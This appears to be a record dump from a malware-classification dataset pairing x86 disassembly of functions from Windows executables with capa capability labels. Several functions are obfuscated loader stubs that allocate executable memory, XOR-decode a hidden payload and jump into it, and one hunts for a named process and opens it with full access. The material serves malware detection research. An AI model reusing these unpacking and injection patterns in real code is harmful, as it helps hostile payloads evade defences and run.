joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040cac0
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040cac0
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040cac0
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040cac0
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040cac0
mov dword [0x41203c], eax
call fcn.0040cac0
test eax, eax
jge 0x402550
push 8
call fcn.0040cac0
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040cac0
pop ecx
push 1
call fcn.0040cac0
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040cac0
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040cac0
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040cac0
jmp 0x402495

Function at 0x40cac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40cacf
pop dword [ebp - 0x40]
mov eax, 0xb9e1552e
sub eax, 0xb9a08a5f
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x38832
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xce84d664
sub ecx, 0xce849147
mov edx, eax
mov edi, 0xd9332ed0
sub edi, 0xd8f1f30c
add edi, dword [ebp - 0x40]
mov esi, 0x7aaa02be
add dword [ebp - 8], eax
mov ebx, dword [edi]
mov dword [ebp - 0x2c], 0x7752c7b7
add ebx, esi
xor dword [ebp - 0x38], 0xe36b17
mov dword [edx], ebx
add dword [ebp - 0x2c], esi
add edx, 0x8147599b
sub edx, 0x81475997
add edi, 0x4315bc2d
sub edi, 0x4315bc29
loop 0x40cb23
add eax, 0x42aad86e
add eax, 0xbd562ed9
mov ebx, eax
add eax, 0xfaab4c5c
sub eax, 0xfaab4c57
mov ecx, 0x2856623f
add ecx, 0xd7e99dc1
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401d10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x588
mov eax, dword [0x42f068]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], 0x128
mov dword [ebp - 0x35c], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x134]
push eax
push esi
call edi
test eax, eax
je 0x401db7
nop dword [eax + eax]
lea eax, [ebp - 0x110]
mov ecx, str.RigorZ.exe
nop dword [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401da0
test dl, dl
je 0x401d9c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401da0
add ecx, 2
add eax, 2
test dl, dl
jne 0x401d80
xor eax, eax
jmp 0x401da5
sbb eax, eax
or eax, 1
test eax, eax
je 0x401dd3
lea eax, [ebp - 0x134]
push eax
push esi
call edi
test eax, eax
jne 0x401d70
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00407bd9
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x430cbc]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401de5
push eax
call ebx
push dword [ebp - 0x12c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x430cbc], eax
mov eax, dword [ebp - 0x12c]
push esi
mov dword [0x430cc0], eax
call ebx
push dword [ebp - 0x12c]
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, dword [sym.imp.KERNEL32.dll_Module32First]
mov esi, eax
lea eax, [ebp - 0x35c]
push eax
push esi
call edi
mov ecx, dword [ebp - 0x348]
push esi
mov dword [0x430cb8], ecx
call ebx
push dword [0x430cc0]
mov dword [ebp - 0x584], 0x224
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x584]
push eax
push esi
call edi
mov ecx, dword [ebp - 0x570]
push esi
mov dword [0x430cb8], ecx
call ebx
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407bd9
mov esp, ebp
pop ebp
ret 4
Function at 0x4088b3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4088f2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4088f2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4088f2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4088f2
cmp dword [ecx + 0x74], 0xe
jbe 0x4088f2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x413fac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00413e1d

Function at 0x4143eb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4243f0
push 0x4243e8
push str.FlsAlloc
push 0x1e
call fcn.004142b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41441f
push dword [ebp + 8]
mov ecx, esi
call dword [0x4211f0]
call esi
jmp 0x414425
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x414469
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424400
push 0x4243f8
push str.FlsGetValue
push 0x20
call fcn.004142b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4144a0
push dword [ebp + 8]
mov ecx, esi
call dword [0x4211f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x414d00
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00408b40
mov eax, dword [0x42f068]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00412393
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x414d42
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x414e9e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041fe40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x430820]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00415afb
mov ecx, dword [esi*4 + 0x430820]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x414e97
cmp eax, dword [edi + ecx + 0x24]
jne 0x414e97
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x414e97
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00415afb
add esp, 0x14
test edx, edx
jl 0x414e97
jg 0x414e0d
test eax, eax
jb 0x414e97
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x414e97
jl 0x414e27
cmp dword [ebp - 0x1008], eax
ja 0x414e97
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x414e45
test ebx, ebx
je 0x414e7e
cmp ecx, edi
jae 0x414e7e
mov al, byte [ecx]
cmp al, 0xd
jne 0x414e5f
lea eax, [edi - 1]
cmp ecx, eax
jae 0x414e6b
cmp byte [ecx + 1], 0xa
jne 0x414e6b
inc ecx
jmp 0x414e6b
movzx eax, al
movsx eax, byte [eax + 0x42f2e8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x414e45
cmp edx, ebx
jne 0x414e45
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x414e9c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407bd9
leave
ret
Function at 0x414f99
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x430820]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x414fd9
cmp byte [ebx], 0xa
jne 0x414fd9
or byte [eax + edi + 0x28], 4
jmp 0x414fde
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4150dc
mov al, byte [edx]
cmp al, 0x1a
je 0x4150be
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41500d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x415032
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41503c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x414fef
jmp 0x4150dc
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4150b9
cmp dword [ebp - 0xc], 0
je 0x4150b9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x430820]
test byte [eax + edi + 0x28], 0x48
je 0x415093
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41507e
mov byte [esi], dl
jmp 0x41508f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x430820]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4150dc
cmp byte [ebp - 1], 0xa
jne 0x4150a2
cmp esi, ebx
jne 0x4150a2
mov byte [esi], 0xa
jmp 0x4150db
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00415b19
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4150dc
mov byte [esi], 0xd
jmp 0x4150db
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x430820]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4150d8
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4150dc
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4150e5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x430820]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x415128
cmp word [esi], dx
jne 0x415128
or byte [edi + eax + 0x28], 4
jmp 0x41512d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x415280
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x415260
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41516f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4151a5
cmp eax, edx
jae 0x4151b1
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x415147
jmp 0x415280
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41525c
cmp dword [ebp - 0x14], 0
je 0x41525c
mov eax, dword [ebx*4 + 0x430820]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x415234
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4151fd
mov word [esi], cx
jmp 0x415230
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x430820]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x430820]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x430820]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x415280
pop ebx
cmp word [ebp - 4], bx
jne 0x415245
cmp esi, dword [ebp + 0xc]
jne 0x415245
mov word [esi], bx
jmp 0x41527d
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00415b19
add esp, 0x10
cmp word [ebp - 4], bx
je 0x415280
push 0xd
jmp 0x415279
mov ecx, dword [ebx*4 + 0x430820]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x415277
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x415280
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41a3b1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41a44e
push ebx
push esi
call fcn.0041a37a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00419142
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41a3fb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41a44d
push edi
push eax
call fcn.00415b77
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41a41b
call fcn.00413a39
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41a44c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00419142
add esp, 0x20
test eax, eax
jne 0x41a43a
push edi
call fcn.00413a39
jmp 0x41a442
push ebx
call fcn.00413a39
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41f545
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041f4c1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x41f6bd
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x41f6bd
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x41f66c
jg 0x41f59e
test eax, eax
je 0x41f662
push 1
push 0x1000
call fcn.00413fb7
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x41f5c4
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x41f659
push 0x8000
push ebx
call fcn.00410339
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x41f5f0
jg 0x41f5eb
cmp ecx, 0x1000
jb 0x41f5f0
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00413839
add esp, 0x10
cmp eax, 0xffffffff
je 0x41f635
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x41f5eb
jl 0x41f61c
test ecx, ecx
jne 0x41f5dd
push dword [ebp - 0xc]
push ebx
call fcn.00410339
push esi
call fcn.00413a39
add esp, 0xc
xor edi, edi
jmp 0x41f6ce
cmp byte [edi + 0x24], 0
je 0x41f64c
cmp dword [edi + 0x20], 5
jne 0x41f64c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x41f657
mov edi, dword [edi + 0x18]
jmp 0x41f659
xor edi, edi
push esi
call fcn.00413a39
pop ecx
jmp 0x41f6ce
test ecx, ecx
jg 0x41f62e
jl 0x41f66c
test eax, eax
jae 0x41f62e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00415b19
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x41f68f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x41f62e
jmp 0x41f6c6
push ebx
call fcn.0041aa98
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x41f62e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x41f6ce
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x41f6cb
mov edi, dword [edi + 0x18]
jmp 0x41f6ce
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00415b19
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41fe00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41fe2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41fe2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401cb0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x401d10
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
push eax
pop ebx
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
push edx
pop esi
mov dword [esp + 0x54], edi
push ecx
pop edi
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e06
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x401d80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x401d55
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x401d65
cmp byte [esp + 0x1e], 0
je 0x401d65
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x401d65
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401cb0
nop

Function at 0x4020a0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x460034
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x46004c]
sub esp, 4
test ebx, ebx
je 0x4020eb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
push eax
pop esi
call sub.KERNEL32.dll_GetLastError
or eax, eax
jne 0x4020e4
test esi, esi
je 0x4020e4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
or ebx, ebx
jne 0x4020c0
mov dword [esp], 0x460034
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b66
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4011b5
pop dword [ebp - 0x3c]
mov eax, 0xed2c02ca
sub eax, 0xecebf115
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x9b4a6f94
sub dword [ebp - 0x4c], 0x4cf82a49
mov dword [ebp - 0x48], 0x47c89f3
add dword [ebp - 0x48], 0x2db6c252
mov dword [ebp - 0x44], 0x8fe20ab4
add dword [ebp - 0x44], 0xbc6a397a
mov dword [ebp - 0x40], 0x83bd6c4b
add dword [ebp - 0x40], 0x7c4293b5
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x62d95727
sub dword [ebp - 0x4c], 0xee66edd1
mov dword [ebp - 0x48], 0x92a561ee
sub dword [ebp - 0x48], 0x51390079
mov dword [ebp - 0x44], 0xa99f736c
add dword [ebp - 0x44], 0xb9cff900
mov dword [ebp - 0x40], 0x9530ac46
add dword [ebp - 0x40], 0x6acf53ba
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c3c7
push 0
call eax
mov ecx, 0x530d
xor esi, esi
add esi, eax
mov edi, 0xec5f74e0
add edi, 0x13e23b20
add edi, dword [ebp - 0x3c]
mov ebx, 0x5397287c
sub ebx, 0xd7c02e5e
xor dword [ebp - 0x38], 0x116bb0f1
mov edx, dword [edi]
sub dword [ebp - 0x34], 0xe5c46862
xor edx, ebx
sub dword [ebp - 0x24], ebx
mov dword [esi], edx
sub dword [ebp - 8], 0x9f3ee9fb
add esi, 0x916fc1f4
sub esi, 0x916fc1f0
add edi, 4
loop 0x4012c9
add eax, 0xc5f74e35
sub eax, 0xc5f60f2e
mov ebx, eax
add eax, 0x982c8ac6
sub eax, 0x982c8ac1
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d